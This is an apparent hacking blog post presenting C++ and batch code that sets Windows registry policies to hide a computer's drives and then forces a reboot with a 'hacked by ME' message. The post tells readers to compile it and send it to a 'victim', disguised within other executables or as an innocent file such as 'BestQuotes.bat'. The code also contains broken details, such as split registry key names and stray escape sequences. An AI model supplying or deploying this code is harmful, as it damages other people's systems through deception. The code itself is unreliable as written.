C++ and Batch code to disable Hard Disk. Introduction to the Evil Brain!


This is the first post. So, hello everyone. I'm not new to all this but this blog is new, it's my 12th blog!

We all have an evil brain which is usually hidden from the outside world. That brain would have asked you many times to destroy someone's computer!! So, Mr. Evil, just chill as I'm going to explain how to disable a computer's Hard Disk!

It's a C++ Code:

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); 
/*opening or creating new file with .bat extension*/
write <<"REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; 
write <<"REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; 
write <<"shutdown -r -c \"Sorry Your System is hacked by ME!\" -f"<<"\n"; 
write.close(); //close that file
ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); 
return 0;
}

1. Copy the above code and paste in Notepad.
2. Save the file with .cpp extension.
3. Compile and create a .exe file.

Note:
Don't run this C++ program on your system because it may attack itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
.exe files to make him feel that you're really sending him safe files! Haha...

Don't have a C++ compiler? No problem, I have a second solution!


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by ME!\" -f

I think this code will be simple for those who aren't programmers. It is easy to create the batch file too.

1. Copy the above code and paste it to notepad.
2. Save it with .bat extension (for ex: BestQuotes.bat)
3. Send the file to your victim!!

Komentar Terbaru

Just load it!